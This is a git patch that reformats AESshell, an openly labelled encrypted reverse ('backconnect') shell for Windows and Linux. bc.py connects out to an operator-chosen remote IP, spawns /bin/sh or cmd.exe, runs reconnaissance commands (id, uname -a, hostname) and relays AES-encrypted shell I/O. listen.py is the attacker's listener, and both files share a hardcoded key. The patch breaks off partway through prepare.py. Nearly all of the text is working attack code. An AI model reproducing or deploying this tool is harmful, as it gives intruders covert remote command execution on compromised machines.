From 3880793dd8a28de16b4c30ec250208f12ebbe64a Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:43:48 +0530 Subject: [PATCH 01/12] Add files via upload --- aesshell/bc.py | 722 ++++++++++++++++++++++---------------------- aesshell/listen.py | 388 ++++++++++++------------ aesshell/prepare.py | 146 ++++----- 3 files changed, 640 insertions(+), 616 deletions(-) diff --git a/aesshell/bc.py b/aesshell/bc.py index ac2d4bb..a39950d 100644 --- a/aesshell/bc.py +++ b/aesshell/bc.py @@ -16,382 +16,390 @@ from Crypto.Cipher import AES -#unix specific +# unix specific if os.name == 'posix': - import pty + import pty -#win32 specific, lets use sys here :> +# win32 specific, lets use sys here :> if sys.platform == 'win32': - import msvcrt + import msvcrt + + # pywin32 + import win32api + import win32con + import win32pipe + import win32file + import win32process + import win32security - #pywin32 - import win32api - import win32con - import win32pipe - import win32file - import win32process - import win32security class AuthenticationError(Exception): pass + class Crypticle(object): - """ PyCrypto-based authenticated symetric encryption - http://code.activestate.com/recipes/576980/ - """ - - AES_BLOCK_SIZE = 16 - SIG_SIZE = hashlib.sha256().digest_size - - def __init__(self, key_string, key_size=192): - self.keys = self.extract_keys(key_string, key_size) - self.key_size = key_size - - @classmethod - def generate_key_string(cls, key_size=192): - key = os.urandom(key_size / 8 + cls.SIG_SIZE) - return key.encode("base64").replace("\n", "") - - @classmethod - def extract_keys(cls, key_string, key_size): - key = key_string.decode("base64") - assert len(key) == key_size / 8 + cls.SIG_SIZE, "invalid key" - return key[:-cls.SIG_SIZE], key[-cls.SIG_SIZE:] - - def encrypt(self, data): - """encrypt data with AES-CBC and sign it with HMAC-SHA256""" - aes_key, hmac_key = self.keys - pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE - data = data + pad * chr(pad) - iv_bytes = os.urandom(self.AES_BLOCK_SIZE) - cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) - data = iv_bytes + cypher.encrypt(data) - sig = hmac.new(hmac_key, data, hashlib.sha256).digest() - return data + sig - - def decrypt(self, data): - """verify HMAC-SHA256 signature and decrypt data with AES-CBC""" - aes_key, hmac_key = self.keys - sig = data[-self.SIG_SIZE:] - data = data[:-self.SIG_SIZE] - if hmac.new(hmac_key, data, hashlib.sha256).digest() != sig: - return -1 - raise AuthenticationError("message authentication failed") - else: - iv_bytes = data[:self.AES_BLOCK_SIZE] - data = data[self.AES_BLOCK_SIZE:] - cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) - data = cypher.decrypt(data) - return data[:-ord(data[-1])] - - def dumps(self, obj): - """ argl """ - return self.encrypt(obj) - - def loads(self, obj): - """ argl """ - data = self.decrypt(obj) - if data == -1: - return -1 - - return self.decrypt(obj) + """ PyCrypto-based authenticated symetric encryption + http://code.activestate.com/recipes/576980/ + """ + + AES_BLOCK_SIZE = 16 + SIG_SIZE = hashlib.sha256().digest_size + + def __init__(self, key_string, key_size=192): + self.keys = self.extract_keys(key_string, key_size) + self.key_size = key_size + + @classmethod + def generate_key_string(cls, key_size=192): + key = os.urandom(key_size / 8 + cls.SIG_SIZE) + return key.encode("base64").replace("\n", "") + + @classmethod + def extract_keys(cls, key_string, key_size): + key = key_string.decode("base64") + assert len(key) == key_size / 8 + cls.SIG_SIZE, "invalid key" + return key[:-cls.SIG_SIZE], key[-cls.SIG_SIZE:] + + def encrypt(self, data): + """encrypt data with AES-CBC and sign it with HMAC-SHA256""" + aes_key, hmac_key = self.keys + pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE + data = data + pad * chr(pad) + iv_bytes = os.urandom(self.AES_BLOCK_SIZE) + cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) + data = iv_bytes + cypher.encrypt(data) + sig = hmac.new(hmac_key, data, hashlib.sha256).digest() + return data + sig + + def decrypt(self, data): + """verify HMAC-SHA256 signature and decrypt data with AES-CBC""" + aes_key, hmac_key = self.keys + sig = data[-self.SIG_SIZE:] + data = data[:-self.SIG_SIZE] + if hmac.new(hmac_key, data, hashlib.sha256).digest() != sig: + return -1 + raise AuthenticationError("message authentication failed") + else: + iv_bytes = data[:self.AES_BLOCK_SIZE] + data = data[self.AES_BLOCK_SIZE:] + cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) + data = cypher.decrypt(data) + return data[:-ord(data[-1])] + + def dumps(self, obj): + """ argl """ + return self.encrypt(obj) + + def loads(self, obj): + """ argl """ + data = self.decrypt(obj) + if data == -1: + return -1 + + return self.decrypt(obj) + class winShell(object): - def __init__ (self): - pass - - def ReplaceHandle(self, handle, pid): - rHandle = win32api.DuplicateHandle( pid,\ - handle,\ - pid,\ - 0,\ - 0,\ - win32con.DUPLICATE_SAME_ACCESS) - win32file.CloseHandle(handle) - return rHandle - - def createProcess(self, cmdline, StartupInfo): - - res = win32process.CreateProcess( None,\ - cmdline,\ - None,\ - None,\ - 1,\ - 0,\ - None,\ - None,\ - StartupInfo) - - return res - - def run (self, cmdline): - - secAttrs = win32security.SECURITY_ATTRIBUTES() - secAttrs.bInheritHandle = 1 - - """ - windows file handle redirection: - http://wiki.wxpython.org/Capturing%20DOS%20Output%20in%20a%20wxWindow - """ - hStdin_r, self.hStdin_w = win32pipe.CreatePipe(secAttrs,0) - self.hStdout_r, hStdout_w = win32pipe.CreatePipe(secAttrs,0) - self.hStderr_r, hStderr_w = win32pipe.CreatePipe(secAttrs,0) - - pid = win32api.GetCurrentProcess() - - # replace the handles - self.hStdin_w = self.ReplaceHandle(self.hStdin_w, pid) - self.hStdout_r = self.ReplaceHandle(self.hStdout_r, pid) - self.hStderr_r = self.ReplaceHandle(self.hStderr_r, pid) - - # create the startupinformation for the process - StartupInfo = win32process.STARTUPINFO() - StartupInfo.hStdInput = hStdin_r - StartupInfo.hStdOutput = hStdout_w - StartupInfo.hStdError = hStderr_w - StartupInfo.dwFlags = win32process.STARTF_USESTDHANDLES - - hProcess, hThread, dwPid, dwTid = self.createProcess(cmdline,StartupInfo) - - self.stdin = os.fdopen(msvcrt.open_osfhandle(self.hStdin_w, 0), "wb") - self.stdout = os.fdopen(msvcrt.open_osfhandle(self.hStdout_r, 0), "rb") - self.stderr = os.fdopen(msvcrt.open_osfhandle(self.hStderr_r, 0), "rb") - - baggage = [self.stdin, self.stdout, self.stderr] - - return baggage - - def readStdOut(self, q): - - while True: - outLine = self.stdout.read(1) - if outLine : - q.put(outLine) - - def readStdErr(self, q): - while True: - errLine = self.stderr.read(1) - if errLine : - q.put(errLine) - - - -def buildSocket(rip,rport): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - try: - s.connect((rip,rport)) - except socket.error, e: - print e[1] - return -1 - return s - -def socketLoop(rip,rport): - i = 0 - while True: - s = buildSocket(rip,rport) - if s == -1: - print "Retry..." - time.sleep(5) - i+=1 - elif s == -1 and i == 10: - print "I give up." - sys.exit(1) - else: - return s + def __init__(self): + pass + + def ReplaceHandle(self, handle, pid): + rHandle = win32api.DuplicateHandle(pid, \ + handle, \ + pid, \ + 0, \ + 0, \ + win32con.DUPLICATE_SAME_ACCESS) + win32file.CloseHandle(handle) + return rHandle + + def createProcess(self, cmdline, StartupInfo): + + res = win32process.CreateProcess(None, \ + cmdline, \ + None, \ + None, \ + 1, \ + 0, \ + None, \ + None, \ + StartupInfo) + + return res + + def run(self, cmdline): + + secAttrs = win32security.SECURITY_ATTRIBUTES() + secAttrs.bInheritHandle = 1 + + """ + windows file handle redirection: + http://wiki.wxpython.org/Capturing%20DOS%20Output%20in%20a%20wxWindow + """ + hStdin_r, self.hStdin_w = win32pipe.CreatePipe(secAttrs, 0) + self.hStdout_r, hStdout_w = win32pipe.CreatePipe(secAttrs, 0) + self.hStderr_r, hStderr_w = win32pipe.CreatePipe(secAttrs, 0) + + pid = win32api.GetCurrentProcess() + + # replace the handles + self.hStdin_w = self.ReplaceHandle(self.hStdin_w, pid) + self.hStdout_r = self.ReplaceHandle(self.hStdout_r, pid) + self.hStderr_r = self.ReplaceHandle(self.hStderr_r, pid) + + # create the startupinformation for the process + StartupInfo = win32process.STARTUPINFO() + StartupInfo.hStdInput = hStdin_r + StartupInfo.hStdOutput = hStdout_w + StartupInfo.hStdError = hStderr_w + StartupInfo.dwFlags = win32process.STARTF_USESTDHANDLES + + hProcess, hThread, dwPid, dwTid = self.createProcess(cmdline, StartupInfo) + + self.stdin = os.fdopen(msvcrt.open_osfhandle(self.hStdin_w, 0), "wb") + self.stdout = os.fdopen(msvcrt.open_osfhandle(self.hStdout_r, 0), "rb") + self.stderr = os.fdopen(msvcrt.open_osfhandle(self.hStderr_r, 0), "rb") + + baggage = [self.stdin, self.stdout, self.stderr] + + return baggage + + def readStdOut(self, q): + + while True: + outLine = self.stdout.read(1) + if outLine: + q.put(outLine) + + def readStdErr(self, q): + while True: + errLine = self.stderr.read(1) + if errLine: + q.put(errLine) + + +def buildSocket(rip, rport): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((rip, rport)) + except socket.error, e: + print e[1] + return -1 + return s + + +def socketLoop(rip, rport): + i = 0 + while True: + s = buildSocket(rip, rport) + if s == -1: + print "Retry..." + time.sleep(5) + i += 1 + elif s == -1 and i == 10: + print "I give up." + sys.exit(1) + else: + return s + def shellUnix(fdr, fdw): + # fork it is + pid = os.fork() + if pid: + return pid + + else: + # redirect stdin/stdout/stderr to our pipes + os.dup2(fdw[0], 0) + os.dup2(fdr[1], 1) + os.dup2(fdr[1], 2) + + # execute shell - with PTY + pty.spawn("/bin/sh") + + +def checkIfChildWasExited(chld, s): + if os.name == 'posix': + try: + os.kill(chld, 0) + except TypeError: + # print "It's dead jim." + pp = os.getppid() + s.close() + os.kill(pp, 9) + + +def getAndSendData(q, ac, bc): + if os.name != 'posix' and q.qsize() > 0: + while q.qsize > 0: + + # read from the queue + winData = q.get() + + # encrypt the data + encStdout = ac.dumps(winData) + + # send data to the listener + bc.send(encStdout) + + if q.qsize() == 0: + break + + +def run(rip, rport, key): + # list for filedescriptors and sockets to check + inputs = [] + + # initialize aes class + ac = Crypticle(key) + + # first of all try to connect, give up after 10 tries + s = socketLoop(rip, rport) + + # add the server to our inputs + inputs.append(s) + + # save the socket information in the server variable + bc = s + cbuffer = "" + + # build up some nice pipes + fdr = os.pipe() + fdw = os.pipe() + + # check the system type we are on + stype = os.name + if stype == 'posix': + # thanks god - it is a unix + inputs.append(fdr[0]) + chld = shellUnix(fdr, fdw) + os.write(fdw[1], 'id\n') + os.write(fdw[1], 'uname -a\n') + os.write(fdw[1], 'hostname\n') + + # windows 'magic' + elif stype == 'nt': + + # initialize winShellClass + wS = winShell() + baggage = wS.run("cmd.exe") + + # setup queue for windows + q = Queue.Queue() - # fork it is - pid = os.fork() - if pid: - return pid - - else: - # redirect stdin/stdout/stderr to our pipes - os.dup2(fdw[0],0) - os.dup2(fdr[1],1) - os.dup2(fdr[1],2) - - # execute shell - with PTY - pty.spawn("/bin/sh") - -def checkIfChildWasExited(chld,s): - if os.name == 'posix': - try: - os.kill(chld,0) - except TypeError: - #print "It's dead jim." - pp = os.getppid() - s.close() - os.kill(pp,9) - -def getAndSendData(q,ac,bc): - if os.name != 'posix' and q.qsize()>0: - while q.qsize>0: - - # read from the queue - winData = q.get() - - # encrypt the data - encStdout = ac.dumps(winData) - - # send data to the listener - bc.send(encStdout) - - if q.qsize() == 0: - break - -def run(rip,rport,key): - # list for filedescriptors and sockets to check - inputs = [] - - # initialize aes class - ac = Crypticle(key) - - # first of all try to connect, give up after 10 tries - s = socketLoop(rip,rport) - - # add the server to our inputs - inputs.append(s) - - # save the socket information in the server variable - bc = s - cbuffer = "" - - # build up some nice pipes - fdr = os.pipe() - fdw = os.pipe() - + # read win stdout + tO = threading.Thread(target=wS.readStdOut, args=(q,)) + tO.daemon = True + tO.start() - # check the system type we are on - stype = os.name - if stype == 'posix': - # thanks god - it is a unix - inputs.append(fdr[0]) - chld = shellUnix(fdr, fdw) - os.write(fdw[1],'id\n') - os.write(fdw[1],'uname -a\n') - os.write(fdw[1],'hostname\n') - - # windows 'magic' - elif stype == 'nt': - - # initialize winShellClass - wS = winShell() - baggage = wS.run("cmd.exe") - - # setup queue for windows - q=Queue.Queue() - - # read win stdout - tO = threading.Thread (target = wS.readStdOut, args = (q,)) - tO.daemon = True - tO.start() - - # read win stderr - tE = threading.Thread (target = wS.readStdErr, args = (q,)) - tE.daemon = True - tE.start() - - while True: - - #qsize while loop - if os.name != 'posix': getAndSendData(q,ac,bc) - - # lets call it a hack - if os.name == 'posix': checkIfChildWasExited(chld,s) - - try: - # on windows you cannot use select on non-socket objects - # as a result a queue is used. read and send via another function - # without extra process, but as select will block on windows - # a pretty short timeout was choosen - if os.name == 'posix': - inputrd , outputrd , errors = select.select(inputs,[],[]) - else: - inputrd , outputrd , errors = select.select(inputs,[],[], 0.0001) - - except select.error, e: - print e - break - except socket.error, e: - print e - break - - for s in inputrd: - - if s == bc: - - try: - data = s.recv(1) - cbuffer += data - except socket.error, e: - print "Error: ", e - sys.exit(1) - - if data == '': - print "Disconnected" + # read win stderr + tE = threading.Thread(target=wS.readStdErr, args=(q,)) + tE.daemon = True + tE.start() + + while True: + + # qsize while loop + if os.name != 'posix': getAndSendData(q, ac, bc) + + # lets call it a hack + if os.name == 'posix': checkIfChildWasExited(chld, s) + + try: + # on windows you cannot use select on non-socket objects + # as a result a queue is used. read and send via another function + # without extra process, but as select will block on windows + # a pretty short timeout was choosen + if os.name == 'posix': + inputrd, outputrd, errors = select.select(inputs, [], []) + else: + inputrd, outputrd, errors = select.select(inputs, [], [], 0.0001) + + except select.error, e: + print e + break + except socket.error, e: + print e + break + + for s in inputrd: + + if s == bc: + + try: + data = s.recv(1) + cbuffer += data + except socket.error, e: + print "Error: ", e + sys.exit(1) + + if data == '': + print "Disconnected" + + # is the child process still there + if stype == 'posix': + check = os.waitpid(chld, os.P_NOWAIT) + if check[0] == 0: + os.kill(chld, 9) + + s.close() + sys.exit() + + + elif s == fdr[0]: + pStdout = os.read(fdr[0], 1024) + + # encrypt the data + encStdout = ac.dumps(pStdout) + + # send data to listener + bc.send(encStdout) + + else: + pass + + # take the data and see if we can decrypt it + decStdin = ac.loads(cbuffer) + + # decrypt data + if decStdin != -1: + cbuffer = "" + + if stype == 'posix': + + # send decrypted data to shell + os.write(fdw[1], decStdin) + else: + # send command to windows file handle + wStdin = baggage[0] + try: + os.write(wStdin.fileno(), decStdin) + except OSError, e: + # print e + s.close() + sys.exit(1) + + s.close() + print "[*] Finished" - # is the child process still there - if stype == 'posix': - check = os.waitpid(chld, os.P_NOWAIT) - if check[0] == 0: - os.kill(chld,9) - - s.close() - sys.exit() - - - elif s == fdr[0]: - pStdout = os.read(fdr[0],1024) - - #encrypt the data - encStdout = ac.dumps(pStdout) - - # send data to listener - bc.send(encStdout) - - else: - pass - - # take the data and see if we can decrypt it - decStdin = ac.loads(cbuffer) - - #decrypt data - if decStdin != -1: - cbuffer = "" - - if stype == 'posix': - - # send decrypted data to shell - os.write(fdw[1],decStdin) - else: - # send command to windows file handle - wStdin = baggage[0] - try: - os.write(wStdin.fileno(),decStdin) - except OSError, e: -# print e - s.close() - sys.exit(1) - - s.close() - print "[*] Finished" def main(): - version = '0.7.3' - key = "F3UA7+ShYAKvsHemwQWv6IDl/88m7BhOU0GkhwqzwX1Cxl3seqANklv+MjiWUMcGCCsG2MIaZI4=" + version = '0.7.3' + key = "F3UA7+ShYAKvsHemwQWv6IDl/88m7BhOU0GkhwqzwX1Cxl3seqANklv+MjiWUMcGCCsG2MIaZI4=" + + parser_description = "AESshell v%s - backconnect shell for windows and linux\n\t\tusing AES CBC Mode and HMAC-SHA256\n\t\tspring 2015 by Marco Lux " % version + parser = argparse.ArgumentParser(prog='AESshell backconnect (bc.py)', \ + description=parser_description, \ + formatter_class=argparse.RawTextHelpFormatter) + + parser.add_argument("-rip", action="store", dest="rip", required=True, help="Remote IP you want to connect to") + parser.add_argument("-rport", type=int, action="store", dest="rport", required=True, + help="Remote Port you want to connect to") - parser_description = "AESshell v%s - backconnect shell for windows and linux\n\t\tusing AES CBC Mode and HMAC-SHA256\n\t\tspring 2015 by Marco Lux " % version - parser = argparse.ArgumentParser( prog = 'AESshell backconnect (bc.py)',\ - description = parser_description,\ - formatter_class=argparse.RawTextHelpFormatter) + args = parser.parse_args() + run(args.rip, args.rport, key) - parser.add_argument("-rip", action="store",dest="rip", required=True,help="Remote IP you want to connect to") - parser.add_argument("-rport", type=int, action="store",dest="rport", required=True,help="Remote Port you want to connect to") - - args = parser.parse_args() - run(args.rip, args.rport,key) if __name__ == "__main__": - main() + main() diff --git a/aesshell/listen.py b/aesshell/listen.py index 0c87411..a6a9fdf 100644 --- a/aesshell/listen.py +++ b/aesshell/listen.py @@ -14,227 +14,237 @@ from Crypto.Cipher import AES + class AuthenticationError(Exception): pass + class Crypticle(object): - """Authenticated encryption class - - Encryption algorithm: AES-CBC - Signing algorithm: HMAC-SHA256 - - """ - - AES_BLOCK_SIZE = 16 - SIG_SIZE = hashlib.sha256().digest_size - - def __init__(self, key_string, key_size=192): - self.keys = self.extract_keys(key_string, key_size) - self.key_size = key_size - - @classmethod - def generate_key_string(cls, key_size=192): - key = os.urandom(key_size / 8 + cls.SIG_SIZE) - return key.encode("base64").replace("\n", "") - - @classmethod - def extract_keys(cls, key_string, key_size): - key = key_string.decode("base64") - assert len(key) == key_size / 8 + cls.SIG_SIZE, "invalid key" - return key[:-cls.SIG_SIZE], key[-cls.SIG_SIZE:] - - def encrypt(self, data): - """encrypt data with AES-CBC and sign it with HMAC-SHA256""" - aes_key, hmac_key = self.keys - pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE - data = data + pad * chr(pad) - iv_bytes = os.urandom(self.AES_BLOCK_SIZE) - cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) - data = iv_bytes + cypher.encrypt(data) - sig = hmac.new(hmac_key, data, hashlib.sha256).digest() - return data + sig - - def decrypt(self, data): - """verify HMAC-SHA256 signature and decrypt data with AES-CBC""" - aes_key, hmac_key = self.keys - sig = data[-self.SIG_SIZE:] - data = data[:-self.SIG_SIZE] - if hmac.new(hmac_key, data, hashlib.sha256).digest() != sig: - return -1 - raise AuthenticationError("message authentication failed") - else: - iv_bytes = data[:self.AES_BLOCK_SIZE] - data = data[self.AES_BLOCK_SIZE:] - cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) - data = cypher.decrypt(data) - return data[:-ord(data[-1])] - - def dumps(self, obj): - """ argl """ - return self.encrypt(obj) - - def loads(self, obj): - """ argl """ - data = self.decrypt(obj) - if data == -1: - return -1 - - return self.decrypt(obj) - + """Authenticated encryption class + + Encryption algorithm: AES-CBC + Signing algorithm: HMAC-SHA256 + + """ + + AES_BLOCK_SIZE = 16 + SIG_SIZE = hashlib.sha256().digest_size + + def __init__(self, key_string, key_size=192): + self.keys = self.extract_keys(key_string, key_size) + self.key_size = key_size + + @classmethod + def generate_key_string(cls, key_size=192): + key = os.urandom(key_size / 8 + cls.SIG_SIZE) + return key.encode("base64").replace("\n", "") + + @classmethod + def extract_keys(cls, key_string, key_size): + key = key_string.decode("base64") + assert len(key) == key_size / 8 + cls.SIG_SIZE, "invalid key" + return key[:-cls.SIG_SIZE], key[-cls.SIG_SIZE:] + + def encrypt(self, data): + """encrypt data with AES-CBC and sign it with HMAC-SHA256""" + aes_key, hmac_key = self.keys + pad = self.AES_BLOCK_SIZE - len(data) % self.AES_BLOCK_SIZE + data = data + pad * chr(pad) + iv_bytes = os.urandom(self.AES_BLOCK_SIZE) + cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) + data = iv_bytes + cypher.encrypt(data) + sig = hmac.new(hmac_key, data, hashlib.sha256).digest() + return data + sig + + def decrypt(self, data): + """verify HMAC-SHA256 signature and decrypt data with AES-CBC""" + aes_key, hmac_key = self.keys + sig = data[-self.SIG_SIZE:] + data = data[:-self.SIG_SIZE] + if hmac.new(hmac_key, data, hashlib.sha256).digest() != sig: + return -1 + raise AuthenticationError("message authentication failed") + else: + iv_bytes = data[:self.AES_BLOCK_SIZE] + data = data[self.AES_BLOCK_SIZE:] + cypher = AES.new(aes_key, AES.MODE_CBC, iv_bytes) + data = cypher.decrypt(data) + return data[:-ord(data[-1])] + + def dumps(self, obj): + """ argl """ + return self.encrypt(obj) + + def loads(self, obj): + """ argl """ + data = self.decrypt(obj) + if data == -1: + return -1 + + return self.decrypt(obj) + + class PTY: - """ rip off from infodox pty handler implementation - https://github.com/infodox/python-pty-shells - """ + """ rip off from infodox pty handler implementation + https://github.com/infodox/python-pty-shells + """ + + def __init__(self, slave=0, pid=os.getpid()): + # apparently python GC's modules before class instances so, here + # we have some hax to ensure we can restore the terminal state. + self.termios, self.fcntl = termios, fcntl - def __init__(self, slave=0, pid=os.getpid()): - # apparently python GC's modules before class instances so, here - # we have some hax to ensure we can restore the terminal state. - self.termios, self.fcntl = termios, fcntl + # open our controlling PTY + self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") - # open our controlling PTY - self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") + # store our old termios settings so we can restore after + # we are finished + self.oldtermios = termios.tcgetattr(self.pty) - # store our old termios settings so we can restore after - # we are finished - self.oldtermios = termios.tcgetattr(self.pty) + # get the current settings se we can modify them + newattr = termios.tcgetattr(self.pty) - # get the current settings se we can modify them - newattr = termios.tcgetattr(self.pty) + # set the terminal to uncanonical mode and turn off + # input echo. + newattr[3] &= ~termios.ICANON & ~termios.ECHO - # set the terminal to uncanonical mode and turn off - # input echo. - newattr[3] &= ~termios.ICANON & ~termios.ECHO + # don't handle ^C / ^Z / ^\ + newattr[6][termios.VINTR] = '\x00' + newattr[6][termios.VQUIT] = '\x00' + newattr[6][termios.VSUSP] = '\x00' - # don't handle ^C / ^Z / ^\ - newattr[6][termios.VINTR] = '\x00' - newattr[6][termios.VQUIT] = '\x00' - newattr[6][termios.VSUSP] = '\x00' + # set our new attributes + termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) - # set our new attributes - termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) + # store the old fcntl flags + self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) + # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) + # make the PTY non-blocking + fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) - # store the old fcntl flags - self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) - # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) - # make the PTY non-blocking - fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) + def read(self, size=8192): + return self.pty.read(size) - def read(self, size=8192): - return self.pty.read(size) + def write(self, data): + ret = self.pty.write(data) + self.pty.flush() + return ret - def write(self, data): - ret = self.pty.write(data) - self.pty.flush() - return ret + def fileno(self): + return self.pty.fileno() - def fileno(self): - return self.pty.fileno() + def __del__(self): + # restore the terminal settings on deletion + self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) + self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) - def __del__(self): - # restore the terminal settings on deletion - self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) - self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) def banner(): - """ + """ _____ ___________ _________ .__ .__ .__ / _ \ \_ _____// _____/ _____| |__ ____ | | | | / /_\ \ | __)_ \_____ \ / ___/ | \_/ __ \| | | | / | \| \/ \\\\___ \| Y \ ___/| |_| |__ \____|__ /_______ /_______ /____ >___| /\___ >____/____/ \/ \/ \/ \/ \/ \/ - """ + """ -def bindSocket(lip,lport): - # create a socket - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - # reuse the port if possible - s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +def bindSocket(lip, lport): + # create a socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - # bind it - s.bind((lip,lport)) + # reuse the port if possible + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - s.listen(1) + # bind it + s.bind((lip, lport)) + + s.listen(1) + + return s - return s def run(lip, lport, remoteOs): - key = "F3UA7+ShYAKvsHemwQWv6IDl/88m7BhOU0GkhwqzwX1Cxl3seqANklv+MjiWUMcGCCsG2MIaZI4=" - s = bindSocket(lip,lport) - serv = s - conn, addr = s.accept() - - # initialize aes class - ac=Crypticle(key) - - # yeah, we just accept one client ;) - inputs = [] - inputs.append(conn) - - # spawn pty class from infodox if we expect back a unix client - pty = '' - if remoteOs == 'lnx': - pty = PTY() - inputs.append(pty) - else: - inputs.append(sys.stdin) - - - cbuffer = "" - print "[*] Connected: %s:%d" % (addr[0],addr[1]) - while True: - - try: - inputrd, outputrd, errorrd = select.select(inputs,[],[]) - except select.error,e: - print e - break - except socket.error,e: - print e - break - - for s in inputrd: - if s == conn: - data = s.recv(1) - - if data == '': - print "Backconnect vanished!" - sys.exit(1) - - cbuffer += data - decContent = ac.loads(cbuffer) - if decContent != -1: - cbuffer = "" - sys.stdout.write(decContent) - sys.stdout.flush() - - elif s == pty: - data = s.read(1024) - encContent = ac.dumps(data) - if encContent !=-1: - conn.send(encContent) - else: - # we have a remote win and choosen the ugly stdin method - sendData = sys.stdin.readline() - encContent = ac.dumps(sendData) - if encContent != -1: - conn.send(encContent) - - print "[*] Finished" + key = "F3UA7+ShYAKvsHemwQWv6IDl/88m7BhOU0GkhwqzwX1Cxl3seqANklv+MjiWUMcGCCsG2MIaZI4=" + s = bindSocket(lip, lport) + serv = s + conn, addr = s.accept() + + # initialize aes class + ac = Crypticle(key) + + # yeah, we just accept one client ;) + inputs = [] + inputs.append(conn) + + # spawn pty class from infodox if we expect back a unix client + pty = '' + if remoteOs == 'lnx': + pty = PTY() + inputs.append(pty) + else: + inputs.append(sys.stdin) + + cbuffer = "" + print "[*] Connected: %s:%d" % (addr[0], addr[1]) + while True: + + try: + inputrd, outputrd, errorrd = select.select(inputs, [], []) + except select.error, e: + print e + break + except socket.error, e: + print e + break + + for s in inputrd: + if s == conn: + data = s.recv(1) + + if data == '': + print "Backconnect vanished!" + sys.exit(1) + + cbuffer += data + decContent = ac.loads(cbuffer) + if decContent != -1: + cbuffer = "" + sys.stdout.write(decContent) + sys.stdout.flush() + + elif s == pty: + data = s.read(1024) + encContent = ac.dumps(data) + if encContent != -1: + conn.send(encContent) + else: + # we have a remote win and choosen the ugly stdin method + sendData = sys.stdin.readline() + encContent = ac.dumps(sendData) + if encContent != -1: + conn.send(encContent) + + print "[*] Finished" + def main(): - print banner.func_doc - version = "0.7.3" - parser_description = "AESshell v%s - backconnect shell for windows and linux\n\t\tusing AES CBC Mode and HMAC-SHA256\n\t\tspring 2015 by Marco Lux " % version - parser = argparse.ArgumentParser( prog = 'AESshell client (listen.py)',\ - description = parser_description,\ - formatter_class=argparse.RawTextHelpFormatter) - - parser.add_argument("-lip", action="store",dest="lip", required=True,help="Local IP you want to bind the client part") - parser.add_argument("-lport", action="store",dest="lport", type=int,required=True,help="Local Port you want to bind to") - parser.add_argument("-os", action="store",dest="remoteOs", default="lnx",required=True,help="expected remote OS (lnx/win)",choices=['lnx', 'win']) - args = parser.parse_args() - run(args.lip,args.lport,args.remoteOs) + print banner.func_doc + version = "0.7.3" + parser_description = "AESshell v%s - backconnect shell for windows and linux\n\t\tusing AES CBC Mode and HMAC-SHA256\n\t\tspring 2015 by Marco Lux " % version + parser = argparse.ArgumentParser(prog='AESshell client (listen.py)', \ + description=parser_description, \ + formatter_class=argparse.RawTextHelpFormatter) + + parser.add_argument("-lip", action="store", dest="lip", required=True, + help="Local IP you want to bind the client part") + parser.add_argument("-lport", action="store", dest="lport", type=int, required=True, + help="Local Port you want to bind to") + parser.add_argument("-os", action="store", dest="remoteOs", default="lnx", required=True, + help="expected remote OS (lnx/win)", choices=['lnx', 'win']) + args = parser.parse_args() + run(args.lip, args.lport, args.remoteOs) + if __name__ == '__main__': - main() + main() diff --git a/aesshell/prepare.py b/aesshell/prepare.py index 7098bfa..180615f 100755 --- a/aesshell/prepare.py +++ b/aesshell/prepare.py @@ -16,99 +16,105 @@ import hashlib from Crypto.Cipher import AES + class AuthenticationError(Exception): pass + class Crypticle(object): - """Authenticated encryption class - - Encryption algorithm: AES-CBC - Signing algorithm: HMAC-SHA256 + """Authenticated encryption class + + Encryption algorithm: AES-CBC + Signing algorithm: HMAC-SHA256 + + """ - """ + AES_BLOCK_SIZE = 16 + SIG_SIZE = hashlib.sha256().digest_size - AES_BLOCK_SIZE = 16 - SIG_SIZE = hashlib.sha256().digest_size + def __init__(self, key_string, key_size=192): + self.keys = self.extract_keys(key_string, key_size) + self.key_size = key_size - def __init__(self, key_string, key_size=192): - self.keys = self.extract_keys(key_string, key_size) - self.key_size = key_size + @classmethod + def generate_key_string(cls, key_size=192): + key = os.urandom(key_size / 8 + cls.SIG_SIZE) + return key.encode("base64").replace("\n", "") - @classmethod - def generate_key_string(cls, key_size=192): - key = os.urandom(key_size / 8 + cls.SIG_SIZE) - return key.encode("base64").replace("\n", "") -files = ["bc.py","listen.py"] -kFiles = ["bc.py","listen.py"] +files = ["bc.py", "listen.py"] +kFiles = ["bc.py", "listen.py"] oDir = "aesout" + def usage(): - print "AESshell preparation tool" - print "" + print "AESshell preparation tool" + print "" + def checkFiles(files): - ldir = os.listdir(".") - for f in files: - if ldir.count(f)==0: - print "[-] Missing %s, abort!" % (f) - sys.exit(1) - return 0 + ldir = 